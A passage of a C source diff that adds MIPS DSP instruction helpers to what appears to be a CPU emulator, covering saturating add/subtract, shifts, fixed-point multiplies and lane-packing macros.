+{ + int32_t temp; + + temp = (int32_t)a * (int32_t)b; + + if (temp > (int)0x7FFF) { + temp = 0x00007FFF; + set_DSPControl_overflow_flag(1, 21, env); + } else if (temp < (int)0xffff8000) { + temp = 0xFFFF8000; + set_DSPControl_overflow_flag(1, 21, env); + } + temp &= 0x0000FFFF; + + return temp; +} + +static inline int32_t mipsdsp_mul_q15_q15_overflowflag21(uint16_t a, uint16_t b, + CPUMIPSState *env) +{ + int32_t temp; + + if ((a == 0x8000) && (b == 0x8000)) { + temp = 0x7FFFFFFF; + set_DSPControl_overflow_flag(1, 21, env); + } else { + temp = ((int16_t)a * (int16_t)b) << 1; + } + + return temp; +} + +/* right shift */ +static inline uint8_t mipsdsp_rshift_u8(uint8_t a, target_ulong mov) +{ + return a >> mov; +} + +static inline uint16_t mipsdsp_rshift_u16(uint16_t a, target_ulong mov) +{ + return a >> mov; +} + +static inline int8_t mipsdsp_rashift8(int8_t a, target_ulong mov) +{ + return a >> mov; +} + +static inline int16_t mipsdsp_rashift16(int16_t a, target_ulong mov) +{ + return a >> mov; +} + +#ifdef TARGET_MIPS64 +static inline int32_t mipsdsp_rashift32(int32_t a, target_ulong mov) +{ + return a >> mov; +} +#endif + +static inline int16_t mipsdsp_rshift1_add_q16(int16_t a, int16_t b) +{ + int32_t temp; + + temp = (int32_t)a + (int32_t)b; + + return (temp >> 1) & 0xFFFF; +} + +/* round right shift */ +static inline int16_t mipsdsp_rrshift1_add_q16(int16_t a, int16_t b) +{ + int32_t temp; + + temp = (int32_t)a + (int32_t)b; + temp += 1; + + return (temp >> 1) & 0xFFFF; +} + +static inline int32_t mipsdsp_rshift1_add_q32(int32_t a, int32_t b) +{ + int64_t temp; + + temp = (int64_t)a + (int64_t)b; + + return (temp >> 1) & 0xFFFFFFFF; +} + +static inline int32_t mipsdsp_rrshift1_add_q32(int32_t a, int32_t b) +{ + int64_t temp; + + temp = (int64_t)a + (int64_t)b; + temp += 1; + + return (temp >> 1) & 0xFFFFFFFF; +} + +static inline uint8_t mipsdsp_rshift1_add_u8(uint8_t a, uint8_t b) +{ + uint16_t temp; + + temp = (uint16_t)a + (uint16_t)b; + + return (temp >> 1) & 0x00FF; +} + +static inline uint8_t mipsdsp_rrshift1_add_u8(uint8_t a, uint8_t b) +{ + uint16_t temp; + + temp = (uint16_t)a + (uint16_t)b + 1; + + return (temp >> 1) & 0x00FF; +} + +#ifdef TARGET_MIPS64 +static inline uint8_t mipsdsp_rshift1_sub_u8(uint8_t a, uint8_t b) +{ + uint16_t temp; + + temp = (uint16_t)a - (uint16_t)b; + + return (temp >> 1) & 0x00FF; +} + +static inline uint8_t mipsdsp_rrshift1_sub_u8(uint8_t a, uint8_t b) +{ + uint16_t temp; + + temp = (uint16_t)a - (uint16_t)b + 1; + + return (temp >> 1) & 0x00FF; +} +#endif + +/* 128 bits long. p[0] is LO, p[1] is HI. */ +static inline void mipsdsp_rndrashift_short_acc(int64_t *p, + int32_t ac, + int32_t shift, + CPUMIPSState *env) +{ + int64_t acc; + + acc = ((int64_t)env->active_tc.HI[ac] << 32) | + ((int64_t)env->active_tc.LO[ac] & 0xFFFFFFFF); + p[0] = (shift == 0) ? (acc << 1) : (acc >> (shift - 1)); + p[1] = (acc >> 63) & 0x01; +} + +#ifdef TARGET_MIPS64 +/* 128 bits long. p[0] is LO, p[1] is HI */ +static inline void mipsdsp_rashift_acc(uint64_t *p, + uint32_t ac, + uint32_t shift, + CPUMIPSState *env) +{ + uint64_t tempB, tempA; + + tempB = env->active_tc.HI[ac]; + tempA = env->active_tc.LO[ac]; + shift = shift & 0x1F; + + if (shift == 0) { + p[1] = tempB; + p[0] = tempA; + } else { + p[0] = (tempB << (64 - shift)) | (tempA >> shift); + p[1] = (int64_t)tempB >> shift; + } +} + +/* 128 bits long. p[0] is LO, p[1] is HI , p[2] is sign of HI.*/ +static inline void mipsdsp_rndrashift_acc(uint64_t *p, + uint32_t ac, + uint32_t shift, + CPUMIPSState *env) +{ + int64_t tempB, tempA; + + tempB = env->active_tc.HI[ac]; + tempA = env->active_tc.LO[ac]; + shift = shift & 0x3F; + + if (shift == 0) { + p[2] = tempB >> 63; + p[1] = (tempB << 1) | (tempA >> 63); + p[0] = tempA << 1; + } else { + p[0] = (tempB << (65 - shift)) | (tempA >> (shift - 1)); + p[1] = (int64_t)tempB >> (shift - 1); + if (tempB >= 0) { + p[2] = 0x0; + } else { + p[2] = ~0ull; + } + } +} +#endif + +static inline int32_t mipsdsp_mul_q15_q15(int32_t ac, uint16_t a, uint16_t b, + CPUMIPSState *env) +{ + int32_t temp; + + if ((a == 0x8000) && (b == 0x8000)) { + temp = 0x7FFFFFFF; + set_DSPControl_overflow_flag(1, 16 + ac, env); + } else { + temp = ((int16_t)a * (int16_t)b) << 1; + } + + return temp; +} + +static inline int64_t mipsdsp_mul_q31_q31(int32_t ac, uint32_t a, uint32_t b, + CPUMIPSState *env) +{ + uint64_t temp; + + if ((a == 0x80000000) && (b == 0x80000000)) { + temp = (0x01ull << 63) - 1; + set_DSPControl_overflow_flag(1, 16 + ac, env); + } else { + temp = ((int64_t)(int32_t)a * (int32_t)b) << 1; + } + + return temp; +} + +static inline uint16_t mipsdsp_mul_u8_u8(uint8_t a, uint8_t b) +{ + return (uint16_t)a * (uint16_t)b; +} + +static inline uint16_t mipsdsp_mul_u8_u16(uint8_t a, uint16_t b, + CPUMIPSState *env) +{ + uint32_t tempI; + + tempI = (uint32_t)a * (uint32_t)b; + if (tempI > 0x0000FFFF) { + tempI = 0x0000FFFF; + set_DSPControl_overflow_flag(1, 21, env); + } + + return tempI & 0x0000FFFF; +} + +#ifdef TARGET_MIPS64 +static inline uint64_t mipsdsp_mul_u32_u32(uint32_t a, uint32_t b) +{ + return (uint64_t)a * (uint64_t)b; +} +#endif + +static inline int16_t mipsdsp_rndq15_mul_q15_q15(uint16_t a, uint16_t b, + CPUMIPSState *env) +{ + uint32_t temp; + + if ((a == 0x8000) && (b == 0x8000)) { + temp = 0x7FFF0000; + set_DSPControl_overflow_flag(1, 21, env); + } else { + temp = ((int16_t)a * (int16_t)b) << 1; + temp = temp + 0x00008000; + } + + return (temp & 0xFFFF0000) >> 16; +} + +static inline int32_t mipsdsp_sat16_mul_q15_q15(uint16_t a, uint16_t b, + CPUMIPSState *env) +{ + int32_t temp; + + if ((a == 0x8000) && (b == 0x8000)) { + temp = 0x7FFF0000; + set_DSPControl_overflow_flag(1, 21, env); + } else { + temp = (int16_t)a * (int16_t)b; + temp = temp << 1; + } + + return (temp >> 16) & 0x0000FFFF; +} + +static inline uint16_t mipsdsp_trunc16_sat16_round(int32_t a, + CPUMIPSState *env) +{ + uint16_t temp; + + + /* + * The value 0x00008000 will be added to the input Q31 value, and the code + * needs to check if the addition causes an overflow. Since a positive value + * is added, overflow can happen in one direction only. + */ + if (a > 0x7FFF7FFF) { + temp = 0x7FFF; + set_DSPControl_overflow_flag(1, 22, env); + } else { + temp = ((a + 0x8000) >> 16) & 0xFFFF; + } + + return temp; +} + +static inline uint8_t mipsdsp_sat8_reduce_precision(uint16_t a, + CPUMIPSState *env) +{ + uint16_t mag; + uint32_t sign; + + sign = (a >> 15) & 0x01; + mag = a & 0x7FFF; + + if (sign == 0) { + if (mag > 0x7F80) { + set_DSPControl_overflow_flag(1, 22, env); + return 0xFF; + } else { + return (mag >> 7) & 0xFFFF; + } + } else { + set_DSPControl_overflow_flag(1, 22, env); + return 0x00; + } +} + +static inline uint8_t mipsdsp_lshift8(uint8_t a, uint8_t s, CPUMIPSState *env) +{ + uint8_t discard; + + if (s != 0) { + discard = a >> (8 - s); + + if (discard != 0x00) { + set_DSPControl_overflow_flag(1, 22, env); + } + } + return a << s; +} + +static inline uint16_t mipsdsp_lshift16(uint16_t a, uint8_t s, + CPUMIPSState *env) +{ + uint16_t discard; + + if (s != 0) { + discard = (int16_t)a >> (15 - s); + + if ((discard != 0x0000) && (discard != 0xFFFF)) { + set_DSPControl_overflow_flag(1, 22, env); + } + } + return a << s; +} + +#ifdef TARGET_MIPS64 +static inline uint32_t mipsdsp_lshift32(uint32_t a, uint8_t s, + CPUMIPSState *env) +{ + uint32_t discard; + + if (s == 0) { + return a; + } else { + discard = (int32_t)a >> (31 - (s - 1)); + + if ((discard != 0x00000000) && (discard != 0xFFFFFFFF)) { + set_DSPControl_overflow_flag(1, 22, env); + } + return a << s; + } +} +#endif + +static inline uint16_t mipsdsp_sat16_lshift(uint16_t a, uint8_t s, + CPUMIPSState *env) +{ + uint8_t sign; + uint16_t discard; + + if (s == 0) { + return a; + } else { + sign = (a >> 15) & 0x01; + if (sign != 0) { + discard = (((0x01 << (16 - s)) - 1) << s) | + ((a >> (14 - (s - 1))) & ((0x01 << s) - 1)); + } else { + discard = a >> (14 - (s - 1)); + } + + if ((discard != 0x0000) && (discard != 0xFFFF)) { + set_DSPControl_overflow_flag(1, 22, env); + return (sign == 0) ? 0x7FFF : 0x8000; + } else { + return a << s; + } + } +} + +static inline uint32_t mipsdsp_sat32_lshift(uint32_t a, uint8_t s, + CPUMIPSState *env) +{ + uint8_t sign; + uint32_t discard; + + if (s == 0) { + return a; + } else { + sign = (a >> 31) & 0x01; + if (sign != 0) { + discard = (((0x01 << (32 - s)) - 1) << s) | + ((a >> (30 - (s - 1))) & ((0x01 << s) - 1)); + } else { + discard = a >> (30 - (s - 1)); + } + + if ((discard != 0x00000000) && (discard != 0xFFFFFFFF)) { + set_DSPControl_overflow_flag(1, 22, env); + return (sign == 0) ? 0x7FFFFFFF : 0x80000000; + } else { + return a << s; + } + } +} + +static inline uint8_t mipsdsp_rnd8_rashift(uint8_t a, uint8_t s) +{ + uint32_t temp; + + if (s == 0) { + temp = (uint32_t)a << 1; + } else { + temp = (int32_t)(int8_t)a >> (s - 1); + } + + return (temp + 1) >> 1; +} + +static inline uint16_t mipsdsp_rnd16_rashift(uint16_t a, uint8_t s) +{ + uint32_t temp; + + if (s == 0) { + temp = (uint32_t)a << 1; + } else { + temp = (int32_t)(int16_t)a >> (s - 1); + } + + return (temp + 1) >> 1; +} + +static inline uint32_t mipsdsp_rnd32_rashift(uint32_t a, uint8_t s) +{ + int64_t temp; + + if (s == 0) { + temp = (uint64_t)a << 1; + } else { + temp = (int64_t)(int32_t)a >> (s - 1); + } + temp += 1; + + return (temp >> 1) & 0xFFFFFFFFull; +} + +static inline uint16_t mipsdsp_sub_i16(int16_t a, int16_t b, CPUMIPSState *env) +{ + int16_t temp; + + temp = a - b; + if (MIPSDSP_OVERFLOW_SUB(a, b, temp, 0x8000)) { + set_DSPControl_overflow_flag(1, 20, env); + } + + return temp; +} + +static inline uint16_t mipsdsp_sat16_sub(int16_t a, int16_t b, + CPUMIPSState *env) +{ + int16_t temp; + + temp = a - b; + if (MIPSDSP_OVERFLOW_SUB(a, b, temp, 0x8000)) { + if (a >= 0) { + temp = 0x7FFF; + } else { + temp = 0x8000; + } + set_DSPControl_overflow_flag(1, 20, env); + } + + return temp; +} + +static inline uint32_t mipsdsp_sat32_sub(int32_t a, int32_t b, + CPUMIPSState *env) +{ + int32_t temp; + + temp = a - b; + if (MIPSDSP_OVERFLOW_SUB(a, b, temp, 0x80000000)) { + if (a >= 0) { + temp = 0x7FFFFFFF; + } else { + temp = 0x80000000; + } + set_DSPControl_overflow_flag(1, 20, env); + } + + return temp & 0xFFFFFFFFull; +} + +static inline uint16_t mipsdsp_rshift1_sub_q16(int16_t a, int16_t b) +{ + int32_t temp; + + temp = (int32_t)a - (int32_t)b; + + return (temp >> 1) & 0x0000FFFF; +} + +static inline uint16_t mipsdsp_rrshift1_sub_q16(int16_t a, int16_t b) +{ + int32_t temp; + + temp = (int32_t)a - (int32_t)b; + temp += 1; + + return (temp >> 1) & 0x0000FFFF; +} + +static inline uint32_t mipsdsp_rshift1_sub_q32(int32_t a, int32_t b) +{ + int64_t temp; + + temp = (int64_t)a - (int64_t)b; + + return (temp >> 1) & 0xFFFFFFFFull; +} + +static inline uint32_t mipsdsp_rrshift1_sub_q32(int32_t a, int32_t b) +{ + int64_t temp; + + temp = (int64_t)a - (int64_t)b; + temp += 1; + + return (temp >> 1) & 0xFFFFFFFFull; +} + +static inline uint16_t mipsdsp_sub_u16_u16(uint16_t a, uint16_t b, + CPUMIPSState *env) +{ + uint8_t temp16; + uint32_t temp; + + temp = (uint32_t)a - (uint32_t)b; + temp16 = (temp >> 16) & 0x01; + if (temp16 == 1) { + set_DSPControl_overflow_flag(1, 20, env); + } + return temp & 0x0000FFFF; +} + +static inline uint16_t mipsdsp_satu16_sub_u16_u16(uint16_t a, uint16_t b, + CPUMIPSState *env) +{ + uint8_t temp16; + uint32_t temp; + + temp = (uint32_t)a - (uint32_t)b; + temp16 = (temp >> 16) & 0x01; + + if (temp16 == 1) { + temp = 0x0000; + set_DSPControl_overflow_flag(1, 20, env); + } + + return temp & 0x0000FFFF; +} + +static inline uint8_t mipsdsp_sub_u8(uint8_t a, uint8_t b, CPUMIPSState *env) +{ + uint8_t temp8; + uint16_t temp; + + temp = (uint16_t)a - (uint16_t)b; + temp8 = (temp >> 8) & 0x01; + if (temp8 == 1) { + set_DSPControl_overflow_flag(1, 20, env); + } + + return temp & 0x00FF; +} + +static inline uint8_t mipsdsp_satu8_sub(uint8_t a, uint8_t b, CPUMIPSState *env) +{ + uint8_t temp8; + uint16_t temp; + + temp = (uint16_t)a - (uint16_t)b; + temp8 = (temp >> 8) & 0x01; + if (temp8 == 1) { + temp = 0x00; + set_DSPControl_overflow_flag(1, 20, env); + } + + return temp & 0x00FF; +} + +#ifdef TARGET_MIPS64 +static inline uint32_t mipsdsp_sub32(int32_t a, int32_t b, CPUMIPSState *env) +{ + int32_t temp; + + temp = a - b; + if (MIPSDSP_OVERFLOW_SUB(a, b, temp, 0x80000000)) { + set_DSPControl_overflow_flag(1, 20, env); + } + + return temp; +} + +static inline int32_t mipsdsp_add_i32(int32_t a, int32_t b, CPUMIPSState *env) +{ + int32_t temp; + + temp = a + b; + + if (MIPSDSP_OVERFLOW_ADD(a, b, temp, 0x80000000)) { + set_DSPControl_overflow_flag(1, 20, env); + } + + return temp; +} +#endif + +static inline int32_t mipsdsp_cmp_eq(int32_t a, int32_t b) +{ + return a == b; +} + +static inline int32_t mipsdsp_cmp_le(int32_t a, int32_t b) +{ + return a <= b; +} + +static inline int32_t mipsdsp_cmp_lt(int32_t a, int32_t b) +{ + return a < b; +} + +static inline int32_t mipsdsp_cmpu_eq(uint32_t a, uint32_t b) +{ + return a == b; +} + +static inline int32_t mipsdsp_cmpu_le(uint32_t a, uint32_t b) +{ + return a <= b; +} + +static inline int32_t mipsdsp_cmpu_lt(uint32_t a, uint32_t b) +{ + return a < b; +} +/*** MIPS DSP internal functions end ***/ + +#define MIPSDSP_LHI 0xFFFFFFFF00000000ull +#define MIPSDSP_LLO 0x00000000FFFFFFFFull +#define MIPSDSP_HI 0xFFFF0000 +#define MIPSDSP_LO 0x0000FFFF +#define MIPSDSP_Q3 0xFF000000 +#define MIPSDSP_Q2 0x00FF0000 +#define MIPSDSP_Q1 0x0000FF00 +#define MIPSDSP_Q0 0x000000FF + +#define MIPSDSP_SPLIT32_8(num, a, b, c, d) \ + do { \ + a = (num >> 24) & MIPSDSP_Q0; \ + b = (num >> 16) & MIPSDSP_Q0; \ + c = (num >> 8) & MIPSDSP_Q0; \ + d = num & MIPSDSP_Q0; \ + } while (0) + +#define MIPSDSP_SPLIT32_16(num, a, b) \ + do { \ + a = (num >> 16) & MIPSDSP_LO; \ + b = num & MIPSDSP_LO; \ + } while (0) + +#define MIPSDSP_RETURN32_8(a, b, c, d) ((target_long)(int32_t) \ + (((uint32_t)a << 24) | \ + (((uint32_t)b << 16) | \ + (((uint32_t)c << 8) | \ + ((uint32_t)d & 0xFF))))) +#define MIPSDSP_RETURN32_16(a, b) ((target_long)(int32_t) \ + (((uint32_t)a << 16) | \ + ((uint32_t)b & 0xFFFF))) + +#ifdef TARGET_MIPS64 +#define MIPSDSP_SPLIT64_16(num, a, b, c, d) \ + do { \ + a = (num >> 48) & MIPSDSP_LO; \ + b = (num >> 32) & MIPSDSP_LO; \ + c = (num >> 16) & MIPSDSP_LO; \ + d = num & MIPSDSP_LO; \ + } while (0) + +#define MIPSDSP_SPLIT64_32(num, a, b) \ + do { \ + a = (num >> 32) & MIPSDSP_LLO; \ + b = num & MIPSDSP_LLO; \ + } while (0) + +#define MIPSDSP_RETURN64_16(a, b, c, d) (((uint64_t)a << 48) | \ + ((uint64_t)b << 32) | \ + ((uint64_t)c << 16) | \ + (uint64_t)d) +#define MIPSDSP_RETURN64_32(a, b) (((uint64_t)a << 32) | (uint64_t)b) +#endif + +/** DSP Arithmetic Sub-class insns **/ +#define MIPSDSP32_UNOP_ENV(name, func, element) \ +target_ulong helper_##name(target_ulong rt, CPUMIPSState *env) \ +{ \ + DSP32Value dt; \ + unsigned int i; \ + \ + dt.sw[0] = rt; \ + \ + for (i = 0; i < ARRAY_SIZE(dt.element); i++) { \ + dt.element[i] = mipsdsp_##func(dt.element[i], env); \ + } \ + \ + return (target_long)dt.sw[0]; \ +} +MIPSDSP32_UNOP_ENV(absq_s_ph, sat_abs16, sh) +MIPSDSP32_UNOP_ENV(absq_s_qb, sat_abs8, sb) +MIPSDSP32_UNOP_ENV(absq_s_w, sat_abs32, sw) +#undef MIPSDSP32_UNOP_ENV + +#if defined(TARGET_MIPS64) +#define MIPSDSP64_UNOP_ENV(name, func, element) \ +target_ulong helper_##name(target_ulong rt, CPUMIPSState *env) \ +{ \ + DSP64Value dt; \ + unsigned int i; \ + \ + dt.sl[0] = rt; \ + \ + for (i = 0; i < ARRAY_SIZE(dt.element); i++) { \ + dt.element[i] = mipsdsp_##func(dt.element[i], env); \ + } \ + \ + return dt.sl[0]; \ +} +MIPSDSP64_UNOP_ENV(absq_s_ob, sat_abs8, sb) +MIPSDSP64_UNOP_ENV(absq_s_qh, sat_abs16, sh) +MIPSDSP64_UNOP_ENV(absq_s_pw, sat_abs32, sw) +#undef MIPSDSP64_UNOP_ENV +#endif + +#define MIPSDSP32_BINOP(name, func, element) \ +target_ulong helper_##name(target_ulong rs, target_ulong rt) \ +{ \ + DSP32Value ds, dt; \ + unsigned int i; \ + \ + ds.sw[0] = rs; \ + dt.sw[0] = rt; \ + \ + for (i = 0; i < ARRAY_SIZE(ds.element); i++) { \ + ds.element[i] = mipsdsp_##func(ds.element[i], dt.element[i]); \ + } \ + \ + return (target_long)ds.sw[0]; \ +} +MIPSDSP32_BINOP(addqh_ph, rshift1_add_q16, sh); +MIPSDSP32_BINOP(addqh_r_ph, rrshift1_add_q16, sh); +MIPSDSP32_BINOP(addqh_r_w, rrshift1_add_q32, sw); +MIPSDSP32_BINOP(addqh_w, rshift1_add_q32, sw); +MIPSDSP32_BINOP(adduh_qb, rshift1_add_u8, ub); +MIPSDSP32_BINOP(adduh_r_qb, rrshift1_add_u8, ub); +MIPSDSP32_BINOP(subqh_ph, rshift1_sub_q16, sh); +MIPSDSP32_BINOP(subqh_r_ph, rrshift1_sub_q16, sh); +MIPSDSP32_BINOP(subqh_r_w, rrshift1_sub_q32, sw); +MIPSDSP32_BINOP(subqh_w, rshift1_sub_q32, sw); +#undef MIPSDSP32_BINOP + +#define MIPSDSP32_BINOP_ENV(name, func, element) \ +target_ulong helper_##name(target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + DSP32Value ds, dt; \ + unsigned int i; \ + \ + ds.sw[0] = rs; \ + dt.sw[0] = rt; \ + \ + for (i = 0 ; i < ARRAY_SIZE(ds.element); i++) { \ + ds.element[i] = mipsdsp_##func(ds.element[i], dt.element[i], env); \ + } \ + \ + return (target_long)ds.sw[0]; \ +} +MIPSDSP32_BINOP_ENV(addq_ph, add_i16, sh) +MIPSDSP32_BINOP_ENV(addq_s_ph, sat_add_i16, sh) +MIPSDSP32_BINOP_ENV(addq_s_w, sat_add_i32, sw); +MIPSDSP32_BINOP_ENV(addu_ph, add_u16, sh) +MIPSDSP32_BINOP_ENV(addu_qb, add_u8, ub); +MIPSDSP32_BINOP_ENV(addu_s_ph, sat_add_u16, sh) +MIPSDSP32_BINOP_ENV(addu_s_qb, sat_add_u8, ub); +MIPSDSP32_BINOP_ENV(subq_ph, sub_i16, sh); +MIPSDSP32_BINOP_ENV(subq_s_ph, sat16_sub, sh); +MIPSDSP32_BINOP_ENV(subq_s_w, sat32_sub, sw); +MIPSDSP32_BINOP_ENV(subu_ph, sub_u16_u16, sh); +MIPSDSP32_BINOP_ENV(subu_qb, sub_u8, ub); +MIPSDSP32_BINOP_ENV(subu_s_ph, satu16_sub_u16_u16, sh); +MIPSDSP32_BINOP_ENV(subu_s_qb, satu8_sub, ub); +#undef MIPSDSP32_BINOP_ENV + +#ifdef TARGET_MIPS64 +#define MIPSDSP64_BINOP(name, func, element) \ +target_ulong helper_##name(target_ulong rs, target_ulong rt) \ +{ \ + DSP64Value ds, dt; \ + unsigned int i; \ + \ + ds.sl[0] = rs; \ + dt.sl[0] = rt; \ + \ + for (i = 0 ; i < ARRAY_SIZE(ds.element); i++) { \ + ds.element[i] = mipsdsp_##func(ds.element[i], dt.element[i]); \ + } \ + \ + return ds.sl[0]; \ +} +MIPSDSP64_BINOP(adduh_ob, rshift1_add_u8, ub); +MIPSDSP64_BINOP(adduh_r_ob, rrshift1_add_u8, ub); +MIPSDSP64_BINOP(subuh_ob, rshift1_sub_u8, ub); +MIPSDSP64_BINOP(subuh_r_ob, rrshift1_sub_u8, ub); +#undef MIPSDSP64_BINOP + +#define MIPSDSP64_BINOP_ENV(name, func, element) \ +target_ulong helper_##name(target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + DSP64Value ds, dt; \ + unsigned int i; \ + \ + ds.sl[0] = rs; \ + dt.sl[0] = rt; \ + \ + for (i = 0 ; i < ARRAY_SIZE(ds.element); i++) { \ + ds.element[i] = mipsdsp_##func(ds.element[i], dt.element[i], env); \ + } \ + \ + return ds.sl[0]; \ +} +MIPSDSP64_BINOP_ENV(addq_pw, add_i32, sw); +MIPSDSP64_BINOP_ENV(addq_qh, add_i16, sh); +MIPSDSP64_BINOP_ENV(addq_s_pw, sat_add_i32, sw); +MIPSDSP64_BINOP_ENV(addq_s_qh, sat_add_i16, sh); +MIPSDSP64_BINOP_ENV(addu_ob, add_u8, uh); +MIPSDSP64_BINOP_ENV(addu_qh, add_u16, uh); +MIPSDSP64_BINOP_ENV(addu_s_ob, sat_add_u8, uh); +MIPSDSP64_BINOP_ENV(addu_s_qh, sat_add_u16, uh); +MIPSDSP64_BINOP_ENV(subq_pw, sub32, sw); +MIPSDSP64_BINOP_ENV(subq_qh, sub_i16, sh); +MIPSDSP64_BINOP_ENV(subq_s_pw, sat32_sub, sw); +MIPSDSP64_BINOP_ENV(subq_s_qh, sat16_sub, sh); +MIPSDSP64_BINOP_ENV(subu_ob, sub_u8, uh); +MIPSDSP64_BINOP_ENV(subu_qh, sub_u16_u16, uh); +MIPSDSP64_BINOP_ENV(subu_s_ob, satu8_sub, uh); +MIPSDSP64_BINOP_ENV(subu_s_qh, satu16_sub_u16_u16, uh); +#undef MIPSDSP64_BINOP_ENV + +#endif + +#define SUBUH_QB(name, var) \ +target_ulong helper_##name##_qb(target_ulong rs, target_ulong rt) \ +{ \ + uint8_t rs3, rs2, rs1, rs0; \ + uint8_t rt3, rt2, rt1, rt0; \ + uint8_t tempD, tempC, tempB, tempA; \ + \ + MIPSDSP_SPLIT32_8(rs, rs3, rs2, rs1, rs0); \ + MIPSDSP_SPLIT32_8(rt, rt3, rt2, rt1, rt0); \ + \ + tempD = ((uint16_t)rs3 - (uint16_t)rt3 + var) >> 1; \ + tempC = ((uint16_t)rs2 - (uint16_t)rt2 + var) >> 1; \ + tempB = ((uint16_t)rs1 - (uint16_t)rt1 + var) >> 1; \ + tempA = ((uint16_t)rs0 - (uint16_t)rt0 + var) >> 1; \ + \ + return ((uint32_t)tempD << 24) | ((uint32_t)tempC << 16) | \ + ((uint32_t)tempB << 8) | ((uint32_t)tempA); \ +} + +SUBUH_QB(subuh, 0); +SUBUH_QB(subuh_r, 1); + +#undef SUBUH_QB + +target_ulong helper_addsc(target_ulong rs, target_ulong rt, CPUMIPSState *env) +{ + uint64_t temp, tempRs, tempRt; + bool flag; + + tempRs = (uint64_t)rs & MIPSDSP_LLO; + tempRt = (uint64_t)rt & MIPSDSP_LLO; + + temp = tempRs + tempRt; + flag = (temp & 0x0100000000ull) >> 32; + set_DSPControl_carryflag(flag, env); + + return (target_long)(int32_t)(temp & MIPSDSP_LLO); +} + +target_ulong helper_addwc(target_ulong rs, target_ulong rt, CPUMIPSState *env) +{ + uint32_t rd; + int32_t temp32, temp31; + int64_t tempL; + + tempL = (int64_t)(int32_t)rs + (int64_t)(int32_t)rt + + get_DSPControl_carryflag(env); + temp31 = (tempL >> 31) & 0x01; + temp32 = (tempL >> 32) & 0x01; + + if (temp31 != temp32) { + set_DSPControl_overflow_flag(1, 20, env); + } + + rd = tempL & MIPSDSP_LLO; + + return (target_long)(int32_t)rd; +} + +target_ulong helper_modsub(target_ulong rs, target_ulong rt) +{ + int32_t decr; + uint16_t lastindex; + target_ulong rd; + + decr = rt & MIPSDSP_Q0; + lastindex = (rt >> 8) & MIPSDSP_LO; + + if ((rs & MIPSDSP_LLO) == 0x00000000) { + rd = (target_ulong)lastindex; + } else { + rd = rs - decr; + } + + return rd; +} + +target_ulong helper_raddu_w_qb(target_ulong rs) +{ + target_ulong ret = 0; + DSP32Value ds; + unsigned int i; + + ds.uw[0] = rs; + for (i = 0; i < 4; i++) { + ret += ds.ub[i]; + } + return ret; +} + +#if defined(TARGET_MIPS64) +target_ulong helper_raddu_l_ob(target_ulong rs) +{ + target_ulong ret = 0; + DSP64Value ds; + unsigned int i; + + ds.ul[0] = rs; + for (i = 0; i < 8; i++) { + ret += ds.ub[i]; + } + return ret; +} +#endif + +#define PRECR_QB_PH(name, a, b)\ +target_ulong helper_##name##_qb_ph(target_ulong rs, target_ulong rt) \ +{ \ + uint8_t tempD, tempC, tempB, tempA; \ + \ + tempD = (rs >> a) & MIPSDSP_Q0; \ + tempC = (rs >> b) & MIPSDSP_Q0; \ + tempB = (rt >> a) & MIPSDSP_Q0; \ + tempA = (rt >> b) & MIPSDSP_Q0; \ + \ + return MIPSDSP_RETURN32_8(tempD, tempC, tempB, tempA); \ +} + +PRECR_QB_PH(precr, 16, 0); +PRECR_QB_PH(precrq, 24, 8); + +#undef PRECR_QB_OH + +target_ulong helper_precr_sra_ph_w(uint32_t sa, target_ulong rs, + target_ulong rt) +{ + uint16_t tempB, tempA; + + tempB = ((int32_t)rt >> sa) & MIPSDSP_LO; + tempA = ((int32_t)rs >> sa) & MIPSDSP_LO; + + return MIPSDSP_RETURN32_16(tempB, tempA); +} + +target_ulong helper_precr_sra_r_ph_w(uint32_t sa, + target_ulong rs, target_ulong rt) +{ + uint64_t tempB, tempA; + + /* If sa = 0, then (sa - 1) = -1 will case shift error, so we need else. */ + if (sa == 0) { + tempB = (rt & MIPSDSP_LO) << 1; + tempA = (rs & MIPSDSP_LO) << 1; + } else { + tempB = ((int32_t)rt >> (sa - 1)) + 1; + tempA = ((int32_t)rs >> (sa - 1)) + 1; + } + rt = (((tempB >> 1) & MIPSDSP_LO) << 16) | ((tempA >> 1) & MIPSDSP_LO); + + return (target_long)(int32_t)rt; +} + +target_ulong helper_precrq_ph_w(target_ulong rs, target_ulong rt) +{ + uint16_t tempB, tempA; + + tempB = (rs & MIPSDSP_HI) >> 16; + tempA = (rt & MIPSDSP_HI) >> 16; + + return MIPSDSP_RETURN32_16(tempB, tempA); +} + +target_ulong helper_precrq_rs_ph_w(target_ulong rs, target_ulong rt, + CPUMIPSState *env) +{ + uint16_t tempB, tempA; + + tempB = mipsdsp_trunc16_sat16_round(rs, env); + tempA = mipsdsp_trunc16_sat16_round(rt, env); + + return MIPSDSP_RETURN32_16(tempB, tempA); +} + +#if defined(TARGET_MIPS64) +target_ulong helper_precr_ob_qh(target_ulong rs, target_ulong rt) +{ + uint8_t rs6, rs4, rs2, rs0; + uint8_t rt6, rt4, rt2, rt0; + uint64_t temp; + + rs6 = (rs >> 48) & MIPSDSP_Q0; + rs4 = (rs >> 32) & MIPSDSP_Q0; + rs2 = (rs >> 16) & MIPSDSP_Q0; + rs0 = rs & MIPSDSP_Q0; + rt6 = (rt >> 48) & MIPSDSP_Q0; + rt4 = (rt >> 32) & MIPSDSP_Q0; + rt2 = (rt >> 16) & MIPSDSP_Q0; + rt0 = rt & MIPSDSP_Q0; + + temp = ((uint64_t)rs6 << 56) | ((uint64_t)rs4 << 48) | + ((uint64_t)rs2 << 40) | ((uint64_t)rs0 << 32) | + ((uint64_t)rt6 << 24) | ((uint64_t)rt4 << 16) | + ((uint64_t)rt2 << 8) | (uint64_t)rt0; + + return temp; +} + +#define PRECR_QH_PW(name, var) \ +target_ulong helper_precr_##name##_qh_pw(target_ulong rs, target_ulong rt, \ + uint32_t sa) \ +{ \ + uint16_t rs3, rs2, rs1, rs0; \ + uint16_t rt3, rt2, rt1, rt0; \ + uint16_t tempD, tempC, tempB, tempA; \ + \ + MIPSDSP_SPLIT64_16(rs, rs3, rs2, rs1, rs0); \ + MIPSDSP_SPLIT64_16(rt, rt3, rt2, rt1, rt0); \ + \ + /* When sa = 0, we use rt2, rt0, rs2, rs0; \ + * when sa != 0, we use rt3, rt1, rs3, rs1. */ \ + if (sa == 0) { \ + tempD = rt2 << var; \ + tempC = rt0 << var; \ + tempB = rs2 << var; \ + tempA = rs0 << var; \ + } else { \ + tempD = (((int16_t)rt3 >> sa) + var) >> var; \ + tempC = (((int16_t)rt1 